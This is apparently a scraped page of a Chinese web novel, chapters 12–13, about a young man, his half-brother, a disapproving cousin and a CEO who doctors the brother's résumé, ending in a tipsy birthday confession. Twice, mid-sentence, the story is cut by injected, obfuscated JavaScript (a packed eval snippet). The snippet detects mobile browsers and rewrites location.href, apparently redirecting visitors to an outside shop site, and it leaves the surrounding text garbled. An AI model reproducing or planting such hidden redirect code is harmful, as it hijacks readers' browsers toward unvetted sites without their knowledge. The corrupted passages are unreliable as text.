“说说吧,你这是上哪儿认了个哥?” 12. 【烧】简历 黛燃正要答话,里间的门却忽然被人推开。 正说话的三人齐齐转头。 只见一男人一手撑着门,怀里抱着摞资料,穿得那叫一个骄奢淫逸。 身上勉强是正装,领带却解开,吊儿郎当地挂在脖颈上,墨镜竖着挂在胸前,把严肃的星所衬托得像是高级会所。 临玉没想到黛水净给他找来的房间里还有人,蹙眉站起身。 “虞藏木,你怎么还没回去?” 虞藏木叹着气,几步走到临玉身边,把刚打印好的资料递过去。 “临探长要的东西,我不得给你办的妥妥当当?” 临玉见那是一摞员工简历,最近一个案子需要查人,这确实是他要的东西,但他可没说要虞藏木用纸印出来。 他把一摞纸随便翻了翻,用拇指指腹蹭蹭纸张,感受着原浆纸传来的厚实触感,尽管是见惯了好东西的他也不免心疼。 “资料你还用这种纸印,这不是纯浪费吗?” 虞藏木资料递出去,靠着桌子伸个懒腰,手往后扶住桌子撑着身体。 “印成纸的不伤眼睛,能帮到你就好,没几个钱,我又买了几包放你储物室里了,没了再和我说。” 临玉见这里还有其他人,连忙将资料收回手边的桌子抽屉里。 “麻烦你了,晚点我再看,这会儿忙着呢。” 虞藏木自觉不打扰,点点头准备往门外走,临玉又想到什么,忽然叫住他。 “等等,你印都印了,再给我印一份空白简历来。” 虞藏木没问为什么,脚步一转就重新走回里间,熟练操作着设备开始打印。 新鲜木头造出来的原浆纸,市价几百才能买到一张,比电子产品都贵。 他却眼都不眨地随手抽出几张,整理好,严丝合缝地装进打印机里,纸张丝滑不卡顿,被机子来回吞吐几下,印好的资料便新鲜出炉。 不一会儿他便带着几张空白简历回来,递给临玉,又看了眼站在一边的两个陌生人,一下明白了临玉的意思。 “干嘛,查人家户口啊?” 临玉拿过简历,想想还是递回给虞藏木,又面对黛烬,示意他跟着虞藏木走。 “你跟着他去里间填吧,有什么写什么,越详细越好。” 临玉说完又将目光转向黛燃。 “我和燃燃单独说几句话。” 黛烬和黛燃心有灵犀地转头对视,黛烬没什么反应,黛燃却伸手要拉黛烬,作势要和他一起走。 “哥——” 临玉马上制止。 “我又不会吃了他,你留下。” 黛烬笑着和黛燃摇摇头,又对临玉点点头,这才跟着虞藏木往里间走。 黛燃目送黛烬离开,直到里间的门被关上,彻底隔绝开他和黛烬后,终于不舍地收回视线。 临玉看他这没出息的样子就一股无名火起,他强压火气和黛燃沟通。 “说说看,这是你哪位哥哥?” 黛燃和临玉一站一坐,被家里人抓包,他也多少有点心虚。 言简意赅。 “临朗的儿子。” 临玉预想过事情可能糟糕,却没想到能糟糕成这样。 “你和他前妻的儿子纠缠在一起,小姨要是知道了得多寒心?” 黛燃垂下头不敢看临玉。 “我妈还不知道。” 临玉上次见黛燃,还是在他高中的升学宴上,一晃眼三年过去,物是人非,现在再看他只觉得这小孩儿真是长歪了。 他不是不通情达理的人,现在得知黛烬的真实身份,至少不是什么不三不四的人后,他这才松了口气。 心想黛燃或许有自己的苦衷,临玉主动拉了把椅子给黛燃,让人坐下说话。 他自己则从储物室里拿出两瓶山泉水,随手撕掉价签,丢进垃圾桶,他拧开一瓶递给黛燃,先软下态度。 “燃燃,是家里过得不好吗?你这都高三了,还一个人跑出来,多危险?” 黛燃接过水,道完谢就是摇头。 “不危险,有我哥照顾我。” 临玉一时语塞,又重新坐下和黛燃讲道理。 “你从小就是家里好日子过惯了的,就算你现在想找个家,也好歹找个门当户对的,不然不是上赶着去受罪吗?” 黛燃喝了口水润润嗓子,临玉一听他说的话,差点两眼一黑晕过去。 “我哥对我挺好的。” 临玉真是想不通了。 “他到底给你下了什么迷魂药?对你好,不能当饭吃吧?” 黛燃看着手里的水,小声反驳。 “不是说有情饮水饱?” 临玉差点以为自己听错了,气得又将袖子往上卷了两节。 “你叫他哥,有情饮水饱,那词能用在兄弟身上吗?” 配合着黛燃手里正拿着瓶水的样子,这话说出来简直黑色幽默,临玉上任探长这几年,还从没遇到过这么荒谬的场面。 他不气馁,继续抓着话往下说。 “况且这个词早就不适合现在的社会用了,现在的水价,你要是跟着他能喝饱水,我都勉强算他是个有本事的人。” 黛燃下意识想反驳,为他哥说话。 “但是我——” 话一开头他忽然卡住,不知道说什么才好。 临玉看他没话说,又退了一步,以退为进。 “燃燃,表哥现在不认识他,我不置喙,我今天给他一张简历,如果他写出来的东西能过临氏人事部的一轮票选,我今天就算是多嘴。” 临玉话音停顿,沉思片刻,又继续给自己的条件加码。 “表哥亲自给你道歉,我甚至可以看在你的面子上直接认下这个表弟。” 黛燃马上问。 “要是过不了呢?” 临玉就知道黛燃会这么问,他的视线避开黛燃,转而移动到垃圾桶里皱巴巴的价签上。 “过不了,我是你表哥,怎么能亲眼看着你去受苦?” 黛燃一听这话,马上就不敢继续往下问了,他忙不迭低头装鹌鹑,又学乌鸦喝水,一点一点磨时间。 他沉默地盯向临玉放了资料的柜子,目光像是可以穿透木质桌面,看进里面已经合格的员工简历。 瓶子里的水很少,几口就喝完了,黛燃拧紧瓶盖,将空掉的玻璃瓶放回桌上。 玻璃瓶和桌面碰在一起,发出一声脆响。 “咔嗒——” 他心里慌,手忙脚乱地放瓶子,瓶身因为重量勉强站住,但瓶底没放稳,左摇右摆地震出一圈圈刺耳的噪音。 尖锐的摇晃声像是小锤子在敲桌子,一遍又一遍,急吼吼地敲在黛燃心上。 哥哥,要是也能合格就好了…… * 虞藏木给黛烬找了个位置写简历,自己则靠在里间的门后,将临玉和黛燃的赌约听得清清楚楚。 见黛烬写完,他走过去,拿起来自己先看上一遍,却越看越惊讶,看得他目瞪口呆,欲言又止。 “兄弟你这履历——” 简历上写得密密麻麻,从能工作的十八岁成年开始,过往七年,黛烬经历过的工作,真是丰富到能写一本小说的程度。 还是那种龙王逆袭的小说。 不过不是后半部分的逆袭爽剧,而是为了拿来对比,增加主角爽度,特意为男主设计的草根前半生。 虞藏木生意场上见过形形色色的人,有人图钱,有人谋利,甚至富二代来体验人生的,在二三区也是屡见不鲜。 但还真没见过黛烬这种…… 难以言喻。 说他踏实吧,他又老换工作,干过时间最长的工作,从入职到离职也就不出三个月。 说他懒吧,他工作又几乎没断过,经常是上一个工作刚结束,没两天又立马换一个接上。 做的是富二代的行径,却没富二代的财富水平。 虞藏木移开简历,又看了眼黛烬,憋了一肚子话,长话短说。 “兄弟,我是很佩服你的,但是实话说你这简历,临探长看了肯定不会满意。” “我知道。” 黛烬也将视线放回被虞藏木举着,即将要公之于众的简历上,无奈苦笑。 “第一次见他家里人,没做准备,能给的,我都写上了。” 虞藏木又说不出话了,低头看回黛烬种类丰富的履历,挑了半天都硬是没挑出一个像样的。 聪明人写简历,都知道把有含金量的往前写,争取给第一次见面的面试官留下个好印象。 黛烬也确实算聪明,只是他实在没有拿得出手的金子,没办法给自己贴金。 黔驴技穷。 虞藏木将简历按在桌上,从桌上拿起一支笔,单手掰开笔帽。 “兄弟我看你也是个实在人,要不我给你加几笔吧?” 虞藏木说干就干,他在简历末尾另提一行,随手便写下一行新的工作经历。 黛烬有点担心。 “要是写大企业的履历,是要领导给盖章的,您临时写的,能有用吗?” 虞藏木写完,合上笔帽。 闻言,他直接从兜里摸出一个玉质的小印章,当着黛烬的面,给自己写的文字盖下一枚红色印章。 黛烬愣愣地接过简历,看着那行被盖了章的新履历,终于明白了眼前这位的身份。 【曾在虞氏集团总部担任项目负责人一年】 视线往后,落在刚盖好的印章上。 印章上没写名字,只有职称。 【虞氏集团首席执行官】 首席执行官,那不就是CEO吗…… 虞藏木将印章收回口袋,炫耀似地拨拨新做的头发。 “兄弟,也不妨和你说个实话,其实我也是白手起家。” 黛烬闻言,愣了下就迅速抬头。 虞藏木一手插兜靠在墙边,视线锁在自己盖的章上,虽然看着不着调,话却说得极其郑重,没有任何开玩笑的意思。 “但是想养他们临家的人,至少得有这样的资本才排得上号。” * 黛燃却不这样认为。 “他是我哥,我又不是找人结婚,还要验资给彩礼。” 临玉觉得这话怪怪的,但“有情饮水饱”这话黛燃都能说得出来,“彩礼”他也就不当回事了。 底线这种东西,都是一步步放低的,见这套话术劝不动,临玉果断放弃,另辟蹊径。 “那你图他什么?他都没办法维持你从前的日常开销,你们继续生活在一起,对你对他来说都是负担。” 黛燃不说话,就只低着头。 临玉也不愿讨嫌,但他怕黛燃把未来的路走死,只得冒险说些不中听的实话。 “燃燃,我没记错的话,你今天过生日是吗?过完十八岁生日你就是大人了,想问题要成熟一些。” 黛燃只敢在心里反驳。 大人。 可是他不想做大人。 哥哥是大人不就好了?而且哥哥已经是大人了。 他只想要哥哥。 两人正说着话,里间的门又开了。 虞藏木带着黛烬走出来,将写好的简历递给临玉。 临玉一目十行地看完,眉头越皱越紧,直到看完最后一行,他直接抬头怒瞪捣乱的虞藏木。 虞藏木冲他挑眉,邀功的意思溢于言表,临玉简直被他挑衅的样子气得没脾气了。 还敢和他邀功?! 就这最后短短一行履历,别说临氏,就算是拿去二三区的所有大企业投简历找工作,条件都绝对是绰绰有余。 更别说是一轮票选,直接内定都是有可能的! 黛烬的简历确实做到了可以过票选,那他就要按照答应好的和黛燃道歉。 可这个歉他道得也实在憋屈。 临玉气不打一处来,但这个章是虞氏盖的,也确实有效力,不管虞藏木是何目的捣的这个乱,他都得卖这个面子。 骑虎难下。 临玉没想到机关算尽,最后反被自己人坑了一手,他咬牙切齿地警告虞藏木。 “我回去再和你算账。” 临玉说到做到,他拿着简历看向黛烬和黛燃,正要信守承诺地道歉,并咬牙认下这个不知道哪儿冒出来的“表弟”。 虞藏木却忽然往左走了几步,刚好挡住临玉的视线,也切断了他道歉的机会。 临玉要起身,虞藏木又一把按住他的肩让人坐下,另一只手背在身后,小幅度冲着黛烬和黛燃挥手,示意他们快走。 黛燃秒说谢谢,二话不说,拉住黛烬的手臂就往外爬跑。黛烬被拉着跑,跑出调解室后还知道顺手关上门。 临玉眼睁睁看着两人逃出调解室,挣开虞藏木按住他肩膀的手,这下是真的有点生气了。 “你拉我做什么?” 虞藏木却不以为意。 “临探长,现在是上班时间,人两兄弟又没犯法,你不能公权私用啊。” “你再装一个试试看?不都是你害的吗?” “我这不是也没让你丢面儿嘛,放他们跑了,就浪费几张纸,但变相卖了他们俩一人一个面子,他们都会感激我的。” 螳螂捕蝉黄雀在后。 虞藏木不愧是生意场上摸爬滚打出来的,最擅长两头吃,绕了一圈,连临玉都算计进去了。 临玉后知后觉自己这事儿做的也不好收场,第一次见黛烬,下马威给得太过,怕是要伤了燃燃的心。 现在让黛烬跑了,他既不用道歉也不用认人,虞藏木也算是帮了他的忙。 功过相抵。 临玉决定不再和他计较,又扯扯领口,长长地叹出一口气。 “燃燃年纪还小,哪里懂脱离临家的代价有多大?你不也是这个圈子的,你不知道吗?我得在他路走歪之前把人拉回来。” 虞藏木倒是不紧不慢,重新从柜子里拿出被临玉收进去的一摞员工简历,一张一张拿起来,分门别类地整理。 黛燃的事情他多少也知道点,只是今天才见到人第一面。 “他不是说母亲和他合不来?那在家里待着也受罪吧。” 没了阻拦,临玉终于站起身,看虞藏木又在主动帮忙做事,彻底消气。 “那是漾姐和他说气话呢,他要是不想走,漾姐会冒着在生意场上被人指指点点的风险赶他出家门吗?” 虞藏木还是第一次看临玉生这么大的气,腾出一只手,给人轻轻拍拍背顺气。 “临探长生这么大的气,气坏身子多不值当?” “你还好意思说,当我瞎吗?他当场写的简历,还能被盖上你公司的私章,你多大的胆子,敢拿这种东西糊弄我?” 虞藏木垂下眼,显然有着自己的谋算,他视线有意无意地瞥向临玉手边,黛烬刚写好的简历上。 这份被盖过章的简历,现在除了待在临玉身边以外别无他选,当事人黛烬更是带不走。 虞藏木勾唇,语调熟稔又亲昵。 “别生气嘛,我只是让他见点儿好的,又不是真给他这个机会,给个标准而已,有心的话,知道怎么对我们燃燃好。” 临玉一听“我们燃燃”四个字,心中警铃乍响! “你没和他说我们的关系吧?” 虞藏木却直接反问。 “我们什么关系?我自己都没名分呢,哪儿敢跟一个外人多说?” 虞藏木话毕,又看准机会见缝插针。 “要不然,临探长可怜可怜我?” 临玉正心烦,懒得接虞藏木这种一天能说三遍的话。 虞藏木眼皮一挑,视线又转向已经被关上的门,仿佛可以联想到刚从这里携手跑出去的两人。 有底气的人对胡闹都不当回事。 “燃燃没吃过苦,就当历练历练呗。” * 黛燃一口气带着黛烬跑出第七星所,回头见没人追上来,他才终于慢下速度喘气。 他跑在前面,喘过几口气后又有点垂头丧气。 黛烬以为黛燃是在为了生日的事情不开心,从身后轻轻拍拍弟弟的背。 “不就是一点小插曲?打起精神,朋友不能来,不还有哥在吗?” “谢谢哥。” 黛烬收回手,背在身后。 “说什么谢不谢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531618|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,多生疏。” 黛烬心里还惦记着黛燃的生日宴。 “我看咱们也别去那些包房了,就咱两个人,占用一个包房多浪费?楼下那么多散座,反正你包场别人也进不来,和包房差不多,也好收拾,随便挑一个散座就够用了吧?” 黛燃打起精神,点头。 “哥说坐哪里就坐哪里。” 黛烬带着黛燃往路边走,刚止步,面前就恰好停下一辆出租车,司机按了按喇叭,明显是示意他们上车。 黛燃还没反应过来,一脸疑惑。 “这是什么车啊哥?” “出租车呗,大少爷这都没坐过?” “哥什么时候打的车?” “你不知道的时候。” 黛烬说着,就率先帮黛燃拉开车门。 “不然你还得把人司机重新叫来,也不方便吧?打个车的事情又不麻烦,赶紧进去,别让人司机等急了。” 黛燃先上车,往里坐了坐,自然地给黛烬空出个位置。 黛烬这次上车的动作明显熟练许多,上车拉门,报上尾号一气呵成。 “3247,麻烦师傅了。” 两人这次回餐厅的流程明显也熟练多了,黛烬尽量放松,努力做到黛燃说的,像回自己家一样。 黛燃看他哥已经适应良好,便打算给人留点选择空间,自己找个借口先离开。 “哥你挑个位置坐,我去一下后厨让他们上菜。” “行你去吧。” 黛燃动作很快,一溜烟就没影了。 餐厅里只留下黛烬一个人,他选座的压力瞬间小了不少。 尤其还是选这种散座,而不是包房。 散座配置都是相同的,只用挑位置,又到了黛烬的舒适区,他很快便选出一个视野最好的。 刚坐下,他一扭头,恰好在角落里看到一台自动售货机。 闲着也是闲着。 黛烬走过去,隔着可视玻璃把商品依次看一遍,嘴里絮絮叨叨的,一会儿骂这个价格贵,一会儿骂那个份量少。 忽然,他在最后一排看到了一列排列整齐的饮料,一瓶一瓶地卡在饮料推进器上,被售货机内部的环绕灯照得亮堂。 众星捧月。 黛烬不再念叨,拿出手机扫码下单,弯下身推开取货的柜门。 * 黛燃终于来到后厨,推开门。 “可以上菜了,我们在一楼的散座。” 黛燃又简单和厨师交代几句,回到大堂时,见黛烬已经找到了座位坐下等他,终于放下心露出笑容。 他快步往黛烬的方向走,却见桌上摆着几瓶还没开的酒。 黛燃一眼就认出是自动售货机里买的,这家餐厅里售卖的商品都是统一的牌子,均为临氏旗下的子公司专门供货。 原来哥哥喜欢这个系列的酒。 他拉开黛烬对面的椅子坐下,却忽然注意到自己座位前摆着的饮料。 那是一瓶苹果汁。 是他从小喝到大,最喜欢的一个牌子的苹果汁。 几个月过去,黛燃几乎是“大变活人”,脱胎换骨,受黛烬影响,他买东西不再像从前那样只挑味道。 比起感动,先涌上心底的是担心。 黛燃把装着苹果汁的小玻璃瓶攥在手里,仔细看上好几遍,心里有点舍不得,最后却还是递到黛烬眼前。 “哥你别买这个,份量少又特别贵,这个可挣钱了,一个月能赚六位数呢。” 黛烬看着黛燃递来的苹果汁,心里不是滋味,他又想起两人在星所里,临玉随手拿给黛燃的,都是三千一瓶的山泉水。 就连虞藏木打印给他的纸,他也只在网上看过牌子,还是第一次在现实里见到这种原浆纸。 怕他写错,人家能一次多印出来好几张备用,根本不把价格放在心上。 黛烬心里发酸。 这本来都是黛燃应该拥有的生活。 黛燃应该是眼都不眨地花钱,应该是喜欢什么就买什么,应该是从不看价签的大少爷。 而不是陪着他一块儿算钱过苦日子的小气鬼。 他忍着心里的异样把饮料接过来,发现饮料瓶身上写着大大的几个字。 【非质量问题,开启后无法退换】 黛烬看完,却没像黛燃想象中的那样放回去,而是直接撕掉价签,拧开盖子,将无法退换的苹果汁重新递到黛燃眼前。 “小孩儿只管吃喝就行了,谁教你还学会算账了。” 黛燃又在打哈欠了。 “哥……” “谢谢哥。” 这顿饭吃得比黛烬想象中的要好。 没有人打扰,没有人指摘他吃得对不对,桌上除了饭菜,只摆着两个碗和两双筷子,没有需要考虑使用方法的刀叉。 黛烬开了酒,却只倒给自己喝。 举着酒杯,恍惚间他还以为今天是他过生日。 似曾相识。 他十八岁生日的那天,也是这样一个人喝酒。 他妈忙工作,被老板临时留下来加班,没赶上回家的时间。 他爸就更别提了,和他妈离婚快一年,不知道在临家的哪个犄角旮旯过好日子。 家里只有他一个人。 他一道菜也没吃,把刚做好的热饭热菜从热等到凉,他妈没回来,没人管,他就一个人偷偷学着喝酒。 那个时候的酒是楼下小店买的,实话说味道很一般,无论是适口性还是酒精度数,都远比不上现在手里的这杯好。 但是黛烬还是喝醉了。 喝醉的黛烬什么都不想管了,他捏着黛燃漂亮的脸就不撒手,酒壮怂人胆,给了胆小鬼一次说真心话的机会。 他把黛燃的脸捧着捏。 七年过去,黛烬看着眼前唾手可得的好日子,好像终于明白了临朗当年为何要煞费苦心地赘入豪门。 由奢入俭难。 物质尚且如此,更别说是用最顶级的物质浇灌出来的人。 今日种种,不得不让他再次可悲地意识到,只有黛燃,才是他走捷径最快最持久的登天梯。 只要轻轻跨上去一步,他很可能走得比他爸当年还高。 他见过他爸意气风发的样子,或许就是因为见过,所以他才没办法接受自己输给他爸,平庸地过一辈子。 他从前认定人定胜天。 认定只要他够拼,就总有一天能出头,认定好生活只靠自己也能拼出来,所以他干一行看一行,没前途就马上换。 可是月薪三千的工作,无论怎么干都没办法给后面加一串零。 做着月薪三千工作的他,也做不到用这样的简历换来一份能压过他爸这个赘婿的,既高薪又体面的工作。 人贵在有自知之明。 但他是个便宜货。 上次有这种想法的时候,好像是在昨天。 他不敢看日历。 不敢在会自动记录时间的备忘录里,写下这些不能见人的豪言壮语。 因为这些想法并非发生在昨天,而是已经陪着他庸庸碌碌地过了七年。 是哪怕拼尽全力,生活都依旧在原地踏步的七年; 是哪怕心比天高,走一步看十步,最后都一文不值的七年; 是看他爸高楼起,又看他爸高楼塌,他却自始至终都徘徊在他爸脚底的七年。 现在他爸享了福,死了。 他却还活着受罪。 那个改变他爸一生的机会,如今降临到了他面前。 他想要的未来,他想要的钱,他想要的一切,只要靠着讨好黛燃就能得到。 就这么简单。 在绝对的欲望面前,世上无难事。 有了准备,心里再练习几次,他这次的称呼叫得亲昵又顺口。 “燃燃。” 直到话已经说出口时,他才意识到自己已经张嘴了。 他有点后悔。 但开弓没有回头箭。 话猝不及防地从心里往外溜,心惊胆战地挂在嘴边上,一不留心就诉之于口。 “你说,我要是只把你当弟弟养,是不是太亏了?” 13. 【燃】电话 黛燃没听懂这话什么意思,心却莫名跳得快,他下意识以为是他哥又不愿意养他,情急之下,一把抓住黛烬拖住他脸的手。 天气是热的,他哥的手却凉的吓人。 黛燃一惊,没想到他哥冷成这样,除了紧紧贴住他脸的掌心以外,从手腕到手背,都像是渗着刚达到结冰点的凉水。 他没多想,拉着黛烬的手就不管不顾地想往自己衣服里塞。 他的外套脱给他哥了,上身只穿一件打底的衬衫,衣领的扣子扣得太紧,留出的位置根本塞不进去一只手,黛燃尝试几次最终都以失败告终。 害怕他哥不要他,黛燃慌得没时间解扣子,只得匆匆拽住他哥的手,然后紧紧按在自己胸口前。 黛燃用手盖住他哥的手,再用他哥的手盖住自己的心脏。 他让他哥做测谎仪,听他说出的一句又一句真心话。 “哥,做我哥,我不会让你吃亏的。” 他哥的身体更僵硬了。 黛燃以为他哥不信,急忙给出承诺。 “哥你想要什么?我能给的都可以给你,只要你要,只要我有,是什么我都可以给你,我不会让你亏本的。” 黛烬忽然接话。 “什么都可以?” 黛燃从没有这么肯定一个问题。 “是。” 他哥这次说话前犹豫了很久,很久很久,至少有一个世纪那么久,他哥从没在他面前犹豫这么久。 怕什么来什么。 哪怕是再重的原因,最后落地的话都轻飘飘得让人听不清。 “我想要,咱们别做兄弟了。” 黛燃大脑一片空白,全身都控制不住打了个寒颤。 他哥上辈子肯定是冰雪女王来的,不然为什么只用手摸一下他,再念一声不要他的咒语,就差点把他冻成冰雕了。 “哥哥……” 黛烬的手被他暖热了,声音却越来越冷。 “不是你自己说的,什么都可以。” 黛燃后悔了。 “不行,这个不行……” 黛烬就盯着他不说话,大概再过去三个世纪那么久,久到他活着的本世纪已经沦为废墟,久到他的眼泪都差点掉出来。 然后他哥笑了。 “骗你的。” 枯木逢春。 他哥躲开他的眼睛,将刚刚暖热的手收回去,转而手忙脚乱地去摸手机。 现代人的习惯,连尴尬和伪装都离不开手机。 黛燃讨厌手机。 他哥随便在屏幕上点了几下,他看不到画面,但总觉得他哥只是在没目的地乱翻乱点。 他已经熟悉他哥的那一套办事逻辑,接下来就应该是为了转移话题,再随便东拉西扯点闲篇。 黛烬用视线划了个溜溜球,然后低头看不存在的溜溜球绳。 “我看广告上宣传,说这家运营商办的私人电话,只要使用者想保留,就能留一辈子,你说这真的假的,能信吗?” 话题转得真够生硬的。 但黛燃还是有点害怕,他私自决定从现在开始,把他哥的每一句问题都当成临终遗言一样回答。 “能。” 说完黛燃就后悔了。 他的遗言还真是短小精悍。 还好他哥尴尬的时候话最多,一紧张就听不出别人说的好赖话,自顾自地说自己的。 “我给你存个号码。” 都遗言了,还要什么号码。 黛燃不想给。 黛烬却要的很执着。 “既然你非要我做你哥,那我们定个期限吧,我心里也有个底。” 黛燃不想定。 黛烬看出他又想保持缄默的意思,这次却强硬地主动出击。 “你不定的话,那选择权就在我了。” 黛燃马上反悔。 “我要定!” 他心里堵着一口气,势必要找到个能堵住他哥逃跑念头的期限。 但经历刚才那一遭,黛燃还没缓过神,脑子里只能想到黛烬刚说完的电话号码,灵机一动,他立马指向黛烬的手机。 “那我们做兄弟,一直做到哥手机里的这张卡报废。” 奇怪的是黛烬居然没拒绝,反而答应得爽快。 “成。” 黛燃刚要高兴,又听他哥笑着给了他沉重一击。 “哥比你大七岁,以后哥要是死在你前头,你就花钱给哥把号保着。” 黛燃不知道他哥为什么总说这种丧气话,害他刚听完“生离”,又猝不及防地听到“死别”。 挤压在嗓子眼的一口气上不去,下不来,憋出来的情绪便一股脑地往眼眶上冲,害得他只会把一个字咬着反复说。 “好,好……” 他哥却忽然拆穿了他的伪装。 “又想打哈欠?” 他哥只看了他一眼,就一眼,眼皮多眨一次都不行,像是要遵守什么规则怪谈一样马上收回眼睛。 可也就这用一眼,他哥就直接把他看了个底朝天。 “装啥啊,想哭就哭呗,在哥面前掉眼泪不丢人,哥不笑你。” 黛燃终于撑不住眼皮,睫毛一眨,泪水就大滴大滴地往餐桌上坠。 他没擦,反而任泪痕挂在脸颊上,像是展示罪证般地在黛烬面前耀武扬威。 黛燃气势做足,话却截然相反地在求饶。 “哥,你别丢下我。” 他哥没否定,也没答应。 而是拿起他面前装过苹果汁的空瓶子,又拿起自己面前还剩下一半的酒瓶,对准瓶口,一点一点地往里倒酒。 直到他哥小心翼翼地倒满了,这瓶“苹果汁”才第二次被递到他面前。 他没喝过酒,但是这是他哥倒给他的。 当成苹果汁喝好了。 人家喝酒都是一杯接一杯,但看起来什么都能做得好的黛燃却出乎意料。 一杯就倒。 酒劲上来了,视线越来越模糊,黛燃迷迷糊糊地看黛烬。 他哥离他好远。 黛燃又低头看看手里的“苹果汁”,没剩下多少了,最后一口酒他没喝下去,而是一不小心倒在身上。 真是不小心。 他哥见状,果然主动搬着椅子坐到他身边,嘴里叽叽咕咕的不知道在说什么,大概又在埋怨他。 他把桌上摆着的抽纸一张一张抽出来递到他哥手里,看他哥用纸一点一点帮他擦身体。 坐不住了。 他哥的脖颈在他面前晃来晃去,黛燃干脆直接伸手,借力攀住就往黛烬怀里靠。 这酒好难喝。 他好像有点喝醉了。 黛燃恍惚间觉得这应该是好事,他也终于有机会用“我喝多了”来当幌子,做点平常不敢做的亏心事。 他两只手都圈在黛烬的脖颈上,这下就没有多余的手给黛烬抽纸了。 黛烬只得自己抽来擦。 “哥。” “嗯。” 黛燃这次说真心话,没敢让他哥做测谎仪。 “我真的很想和你一直在一起。” 他哥抽纸的手忽然停了,身体比刚才他帮他哥暖手时还要僵硬。 “黛燃,你喝醉了,你知道自己在说什么吗?” 黛燃闻言,闭了闭眼睛又睁开,甩甩头试图校准自己已经有点游离的意识。 “我知道。” 他应该知道吧。 不管了,先认下来再说。 他哥又看着他笑了,笑得特别好看,像是寒冷的冬日里傲人的红梅。 黛燃刚冒出这个想法,就又忍不住摇头摇头。 不对。 这个比喻太俗了。 没办法,为了高考,他作文素材背太多了。 黛燃暗自发誓,等高中毕业,他一定要把那堆积累了好词好句好比喻的素材本一把火烧掉,烧得灰飞烟灭。 然后用火给他哥暖暖手。 他要带着他哥去环球旅行,带着参照物去寻找最能形容参照物的风景。 好像有点本末倒置? 算了,这个不是重点。 “哥。” “嗯。” “我想问你个问题。” “你直接问呗,这种事情还要事先跟哥打报告?” 黛燃胡乱点点头,又摇摇头,最后低头,将脸埋在他哥结实的肩膀上。 “什么人可以永远和哥在一起?” 这个才是重点。 他哥给他擦完领口,又给他卷起袖子擦手。 他闭着眼睛,看不见他哥的动作究竟是在抽纸还是在做别的,反正他没感受到他哥的动作,只听得见他哥的声音。 “爱人吧,不都是这样吗。” “爱人——” 黛燃好像真的喝醉了,醉到听不懂话。 “那是男人还是女人?” 他离他哥太近了,近到连他哥咽口水的声音都听得到。 他哥咽口水? 口渴了吧。 黛燃不再躲懒,身上的酒被他哥擦干净,他挣扎着要从他哥怀里起身,眯着眼睛扫了一眼桌子,没看到水。 去售货机买吧。 他这样想着,脚下正要往外走,却忽然被身后的他哥拉住。 黛燃脚下没注意,眼前一阵天旋地转,直到身体完全稳定下来后,他才猛地发现已经被拉回了他哥怀里。 刚好和他哥面对面。 他哥看起来很认真,比从前任何时候都要认真。 黛燃后知后觉地意识到,他哥好像是在紧张。 那就不需要水了。 紧张的时候喝水,容易上厕所。 他的脑袋里稀里糊涂的,知识混杂着生活常识,还顺手夹了点从他哥那儿学来的“真理”,全部搅成一团。 想到哪儿说到哪儿。 上厕所,对,上厕所。 但是他哥也喝醉了,他总不能陪他哥去上厕所吧?他哥好面子。 万一他一个没站稳,不小心摔进社交安全距离,他哥得多尴尬?他不能让他哥尴尬。 脑海里的小人你说一句他怼一句的,说完又互相不对付地打了一架,最后齐齐被他哥的声音叫停。 “男人。” 什么男人? 黛燃的脑子好不容易安静下来,这下又被他哥忽如起来的话镇得宕机了好一会儿,慢几十拍地把前后的对话串起来。 然后恍然大悟。 哦,原来他哥喜欢男人。 黛燃说话又开始不动脑子,他伸出手指着自己,胡言乱语起来。 “那我,不就是男人吗?” 黛烬不说话,黛燃就自言自语。 “哥喜欢男人……” 黛燃越说,面上看着越迷糊,但在黛烬看不到的地方,黛燃垂下的手早已悄悄握紧成拳,表面却装得像醉酒的样子。 “那哥就是,喜欢我?” 他哥的声音好小,难道喝酒会影响听力?他快听不到他哥说话了。 他哥好像就只说了一个字。 人在看不到字幕的情况下,总是会凭借内心的幻想给不灵光的耳朵打岔,从而造成让事实歪曲,也就是俗称的“空耳”。 可生活里是很难看到字幕的。 所以他想让那个字是什么,那个字就得是什么。 他觉得他哥说的是。 “嗯”。 * “嗯?” 黛燃被他哥从床上摇醒,搞不懂状况地挠挠头。 他哥又问了他一遍。 “别老‘嗯?’啊,一觉能睡一整天我也是佩服你了,我问你,你还记得昨天中午的事情吗?” 黛燃沉思片刻,想的很认真的样子,然后摇头。 “不记得。” 他哥呼了口气。 “那就好。” 黛燃被他哥紧张的样子逗得想笑,扭头憋住了又一本正经地补上一句。 “好像,还记得一点?” 他哥看着都不会呼吸了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531619|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “记得哪一点儿?” 他哥坐在床边,他靠在床头的软包上,漫不经心地将他哥全身扫视一遍。 “哥,你是不是喜欢男人?” 他哥按在被子上的手指抽动了下,面上却继续装淡定。 “什么意思?” 黛燃不解释,只说自己想说的。 “我就记得这一点儿。” 他哥这次的追问明显更着急,几乎是话赶话地追着他问。 “还有没有?” 他也话赶话地答。 “还有一点儿。” 他哥终于彻底憋不住,坏脾气又不小心漏出来一点儿。 “你挤牙膏啊,挤点儿说点儿,全说完。” 黛燃坐直身体,上半身往他哥的方向倾,他再次调整语气,把话说得郑重无比。 “哥说爱人,是可以永远留在身边的人。” 他哥果然不说话了,但那表情很显然是想问他“还有吗?”却不知道为什么问不出口。 他觉得他哥是怕了,原因尚未可知。 反正他听得懂,就直接答了。 